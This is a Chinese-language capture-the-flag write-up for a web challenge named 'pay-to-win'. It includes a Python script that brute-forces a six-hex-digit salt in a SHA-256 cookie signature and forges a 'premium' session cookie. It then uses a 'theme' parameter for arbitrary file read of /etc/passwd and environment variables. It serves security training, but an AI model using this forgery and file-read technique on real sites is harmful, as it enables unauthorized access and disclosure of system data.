pay-to-win

minhaf 2025-01-22 16:45:45 261 0


下载压缩包,查看源码

1.这个地方通过theme参数,可以任意文件读取,前提是user_type==premium

2. 这个地方大概是说cookie里的两个参数是怎么来的,b64data是data进行base64编码后,hash是b64data+随机数,python可以多次试一下hex(random.getrandbits(24))[2:],结果是6位a-f0-9的随机值,爆破就可以得到了

3. 打开靶机,注册一个用户a,查看cookie里

data=eyJ1c2VybmFtZSI6ICJhIiwgInVzZXJfdHlwZSI6ICJiYXNpYyJ9;

hash=22f03830d52e9478ac70830b8a533571f41a4453d73142eecc87940cb8a92b93

data解码后{"username": "a", "user_type": "basic"}

那么需要让user_type:premium,同时爆破随机数,获取hash值

import hashlib
import random
from base64 import b64encode, b64decode
import json
def hash(data):
    return hashlib.sha256(bytes(data, 'utf-8')).hexdigest()
s="0123456789abcdef"
for a in s:
    for b in s:
        for c in s:
            for d in s:
                for e in s:
                    for f in s:
                        bb=a+b+c+d+e+f
                        data = {
                            "username": "a",
                            "user_type": "basic"
                        }
                        b64data = b64encode(json.dumps(data).encode())
                        data_hash = hash(b64data.decode() + bb)
                        if data_hash=="22f03830d52e9478ac70830b8a533571f41a4453d73142eecc87940cb8a92b93":
                            print(bb) # dabcf3
                            break
data = {
    "username": "a",
    "user_type": "premium"
}
b64data = b64encode(json.dumps(data).encode())
print(b64data)
data_hash = hash(b64data.decode() + 'dabcf3')
print(data_hash)
# b'eyJ1c2VybmFtZSI6ICJhIiwgInVzZXJfdHlwZSI6ICJwcmVtaXVtIn0='
# f376f6adb004478d102c32931c3c8a4df575d39c961f998d138ba4782039547b

替换发包并测试theme参数读取/etc/passwd,发现正常读取

但是读flag、flag.txt、/flag、/flag.txt都读不到,最后在程序环境变量里找到了

分类:WEB
image
作者:minhaf

2

提交

2

收入

相关WriteUP

  • cookiehead

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1月前
  • sqli-0x1 Writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
  • [HackINI-2022] lfi WriteUp

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
  • just-work-type

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
  • SQL注入.2

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 3月前
问题反馈